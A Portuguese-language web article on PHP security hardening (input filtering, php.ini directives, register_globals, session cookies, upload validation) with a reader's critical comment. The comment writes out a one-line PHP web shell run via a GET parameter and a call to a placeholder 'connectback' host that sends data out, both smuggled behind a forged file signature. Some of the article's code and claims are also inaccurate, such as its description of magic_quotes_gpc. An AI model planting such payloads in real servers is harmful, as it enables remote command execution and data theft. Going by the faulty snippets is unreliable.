Segurança em PHP

Segurança da informação deve acompanhar ao máximo o avanço e progressos nesta área. O surgimento de empresas que possibilitam soluções tecnológicas para grandes empresas que necessitam de gerenciamento de conteúdo de diversos tipos, também devem acompanhar as necessidades com a segurança que seus clientes irão enfrentar com o uso da aplicação.

[ Hits: 7.839 ]

Por: Tiago Henrique Moraes Pereira em 09/06/2017


Introdução



Mesmo por ser uma linguagem largamente usada, a exploração das vulnerabilidades do PHP cobram a atenção dos programadores, que devem verificar questões básicas de desenvolvimento para garantir o máximo de segurança em suas aplicações PHP. Grande parte dos erros são cometidos com a falta de cuidados na criação e validação dos formulários, neles se encontram as maiores brechas para ataques de hackers, que pretendem roubar dados de clientes ou derrubar o sistema.

Serão abordados alguns pontos cruciais que um bom programador PHP deve estar atento na construção do sistema web.

Ataques

SQL Injection e XSS attack

Qualquer aplicação pode receber dados externos do servidor, e só o programador vai dizer o que deve ser aceito ou ignorado pela aplicação. Ataques podem ser feitos via GET, POST, COOKIE e outros, alguns desses ataques são chamados de SQL Injections ou XSS que geralmente são feitos através de formulários que podem até possuir uma forma de validação no cliente, mas que certamente não é o suficiente, a validação desses dados é imprescindível para garantir segurança e estabilidade no sistema já que as SQL Injections são capazes de destruir o sistema, permitir o roubo e ainda a perda de todos os dados.

//Convertendo caracteres especiais para a realidade HTML
$varLimpa = htmlspecialchars($_POST['infoForm'], ENT_QUOTES, 'UTF-8');


//voltando os caracteres originais
$varSuja = htmlspecialchars_decode($varLimpa );


//filtros
$email = "clifton@example"; //Note the .com missing
if(filter_var($email, FILTER_VALIDATE_EMAIL)){
	//válido
}
//recebendo um parâmetro GET, e validando se é inteiro
$id = filter_input('INPUT_GET', 'id', 'FILTER_VALIDATE_INT');

Configurações do php.ini

Algumas configurações básicas no arquivo php.ini podem prevenir o sistema de ser muito exposto, como por exemplo configurando a diretiva 'expose_php = off' (que reduz a quantidade de informações visíveis), variáveis como 'allow_url_fopen = Off' (impedem Remote File Inclusion e Local File Inclusion), 'display_errors = Off' (mensagens de erros não são exibidas), 'magic_quotes_gpc = Off' (converte caracteres especiais em barra invertida e impede o SQL Injection), 'register_globals = Off', variáveis globais desativadas.

Variáveis Globais

A partir da versão 4.2.0 do PHP, o padrão da diretiva register_globals passou de On para Off, o que significa que não é permitido o uso de variáveis globais. Como o PHP não necessita de declaração de variáveis para usá-las, esta diretiva poderia criar variáveis sem saber de onde elas vem, gerando códigos inseguros. Um exemplo podemos ver no código a seguir:

<?php
// define $autorizado = true somente se o usuário for autenticado
if (usuario_autenticado()) {
    $autorizado = true;
}
// Porque nós não inicializamos $autorizado como false, ela pode ser
// definida através de register_globals, como usando GET autenticar.php?autorizado=1
// Dessa maneira, qualquer um pode ser visto como autenticado!
if ($autorizado) {
    include "/dados/altamente/sensivel.php";
}
?>

No exemplo acima, a variável $autorizado não é inicializada, e com a diretiva register_globals ativa ela é facilmente alterada através do GET autenticar.php?autorizado=1, sendo assim, qualquer usuário pode acessar o conteúdo sensível mesmo que não passe pela função usuario_autenticado(). O ideal seria inicializar a variável $autorizado = false, assim nem com register_globals seria possível alterar seu valor.

O problema aqui não é a diretiva, mas sim o fato de não sabermos de onde vem os valores, garantir a correta validação dos dados enviados pelo usuário e que todas as variáveis sejam inicializadas corretamente. Desativar a diretiva resolve um problema, de onde vem os valores, os outros resolvemos com boas validações, limitando tamanho, quantidade, tipo e formato do dado enviado e a inicializando as variáveis com valores padrões, de preferência com o valor que define-se seguro.

Cookies

O atributo session.cookie_httponly configurado garante que os cookies de sessão que são armazenados no PHP só possam ser acessados por HTTP, tornando o sistema protegido de ataques como XSS, que utiliza JavaScript.

//php.ini
session.cookie_httponly=1

Tempo de Sessão

Com o parâmetro de tempo configurado em session_cache_expire, a sessão irá durar a quantidade de minutos informada. Quanto menor o tempo, menor vai ser o estrago que um invasor possa efetuar.

session_cache_expire(10); //tempo de sessão igual 10 minutos
session_start();

Upload de arquivos

Através do upload de arquivos é possível enviar scripts inteiros que podem dar controle completo do site e do servidor ao atacante, por isso o desenvolvimento de um sistema de upload de arquivos deve ser extremamente cauteloso. Muitas validações devem ser feitas no servidor para tentar impedir a entrada de scripts maliciosos, e a extensão do arquivo é a primeira coisa a ser validada, mas nunca a única, pois ela é facilmente alterada, assim como o mime-type e o content-type.

De fato não existe uma forma 100% segura de fazer uploads de arquivos, todas as precauções devem ser tomadas para garantir o máximo de segurança. Inicialmente define quais tipos de arquivos serão aceitos, valide os formatos e tenha certeza de que está salvando no servidor os arquivos com as extensões que são permitidas, se for imagem verificamos se possui dimensões e para remover possíveis scripts injetados podemos redimensionar a imagem, em outros formatos pode se abrir o arquivo e procurar por <?php ?>, valide o usuário também, permitir que somente usuários cadastrados possam fazer uploads, mas isso não adiantará se não tiver um bom sistema de login com senhas fortes e a prova de SQL Injection, e por último, salve os arquivos em uma pasta onde não são executados scripts e que as permissões de acesso sejam restritas ao php somente.

list($largura, $altura) = getimagesize($_FILES["foto"]["tmp_name"]);
if($largura=="" || $altura ==""){
    //ARQUIVO INVÁLIDO
}
//validando via magic byte
$filehandle = fopen($_FILES['file']['tmp_name'],"r");
// get file's magic number
$MNumber =  bin2hex(fread($filehandle,4));
if ($MNumber!= "d4c3b2a1") {
echo 'bad file format';
exit;
}

No exemplo acima é usado como validação o chamado 'magic byte', uma assinatura encontrada no início dos arquivos quando lidos como texto, com ela é possível validar alguns formatos onde existe uma assinatura comum, porém essa assinatura também pode ser forjada, então não dispensa outras validações e nem outras medidas de segurança comentadas anteriormente.

Restrição de logs

Quanto menos informações, em caso de erros e exceções, forem mostradas, mais a aplicação estará protegida. Estas informações podem ser controladas através dos parâmetros do error_reporting. Também as configurações das funções 'log_errors=On' e 'display_errors'.

int error_reporting ([ int $nível ] )//sintaxe

Níveis disponíveis para configuração do 'error_reporting':

1	E_ERROR
2	E_WARNING
4	E_PARSE
8	E_NOTICE
16	E_CORE_ERROR
32	E_CORE_WARNING
64	E_COMPILE_ERROR
128	E_COMPILE_WARNING
256	E_USER_ERROR
512	E_USER_WARNING
1024	E_USER_NOTICE
6143	E_ALL
2048	E_STRICT
4096	E_RECOVERABLE_ERROR

Desabilitando funções e classes

Através de configurações no php.ini, é possível desabilitar algumas funções e classes, utilizando as diretivas:
  • disable_functions: diretiva que desabilita funções internas por motivos de segurança
  • disable_classes: diretiva que desabilita classes por questões de segurança

Conclusão

Hoje em dia as aplicações web são constante e fortemente atacadas, necessitando ao máximo de segurança em seus códigos.

Referências


   

Páginas do artigo
   1. Introdução
Outros artigos deste autor
Nenhum artigo encontrado.
Leitura recomendada

Segurança: Autenticando o PHP com HTTP (Authentication Required)

XSS - Um exemplo de ataque

PHP: Programando com segurança

Autenticação de sites com PHP e MySQL

Vulnerabilidade em formulário PHP

  
Comentários
[1] Comentário enviado por Ragen em 22/06/2017 - 21:04h

Olá amigo, parabéns pela iniciativa de contribuir com um artigo.

Mas venho fazer aqui o papel de chato e informar há algumas falhas graves em alguns conceitos. Então o meu objetivo é alertar os mais incautos.

Eu trabalho com PHP desde quase o seu surgimento, tenho a certificação ZCPE pra evitar delongar a conversa. Vou fazer os contrapontos:

session.cookie_httponly=1 (não é garantia de segurança, os headers do cookie podem sim ser forjados através de uma requisição HTTP - Recomendo uma ferramenta muito interessante pra vc simular isso, que é o Burp Suite, ele permite habilitar um proxy com modo captura e alteração de requisições, que te permite simular códigos arbitrários), então isso de session.cookie_httponly=1, alias é onde mora o perigo: você acha que está seguro porque trancou a porta da frente da casa, mas se esqueceu que a porta dos fundos pode estar com a chave em baixo do tapete.

Outro ponto que exige muita cautela:
$filehandle = fopen($_FILES['file']['tmp_name'],"r");
$MNumber = bin2hex(fread($filehandle,4));

Imagine que um arquivo inicia com sua magic string, tendo o seguinte conteúdo:

// hex2bin('d4c3b2a1'); => ?ò?

?ò?<?php exec($_GET['cmd']); ?>
ou
?ò?<?php file_get_contents('http://connectback?var=sensivel'); ?> // connect back nao é executável em seu exemplo por restricao de fopen, usei só pra exemplificar

É claro que esses dois casos necessitam ser combinados a outros fatores pra de fato ser exploitável, como por exemplo copiar o arquivo com nome original (Permitindo salvar com extensão .php em uma pasta /uploads, e pra piorar que vc acha que o diretório não permite listagem - entrega todos os arquivos de bandeja) ou um sistema de anexos mal pensado que faz "include" do arquivo original.

Descarto outras hipóteses como carregar um shellcode (bugs no core do php) para memória porque o vetor de ataque é muito limitado e geralmente exploram falhas que também poderiam ser exploradas remotamente - sem interação com filesystem.

A minha sugestão é: vai trabalhar com arquivo compactado? Faça uma validação não só no cabeçalho, mas da heurística do arquivo como um todo, por exemplo, um check CRC32 para garantir a integridade do arquivo.

Vai trabalhar com imagem? Use o ImageMagick

$ identify img.jpg
img.jpg JPEG 70x46 70x46+0+0 8-bit sRGB 2.36KB 0.000u 0:00.000

Inviabilizaria um ataque, pois ele deveria estar em nível de esteganografia para garantir a integridade para a checagem da ferramenta identify do ImageMagick e ainda sim conseguir injetar um código arbitrário.

---

E não menos importante, mas limitação de sessão por tempo não é garantia de um "estrago" menor. Simplesmente que a sessão vai expirar no tempo delimitado. Grande parte dos malwares que varrem a internet estabelecem uma backdoor quase imediatamente após o primeiro ataque bem-sucedido.

session_cache_expire(10); // não é garantia de seguranca

Uma coisa que eu acho realmente importante é aumentar a entropia do hash da sessão. Imagina um rede de robôs rodando bilhares de requisições em uma URL com o token de Session IDs aleatórios? Uma hora, cedo ou tarde, irá colidir então melhor que seja o mais tarde possível (ao nível que o custo computacional pule da escada de bilhões para 10^164 - assim por si só ou o custo inviabiliza o ataque ou ele se torna negação de serviço/DoS)

[2] Comentário enviado por Ragen em 22/06/2017 - 21:11h

Ainda em tempo: quem não tem teto de vidro que atire a primeira pedra!


Contribuir com comentário




Patrocínio

Site hospedado pelo provedor RedeHost.
Linux banner

Destaques

Artigos

Dicas

Tópicos

Top 10 do mês

Scripts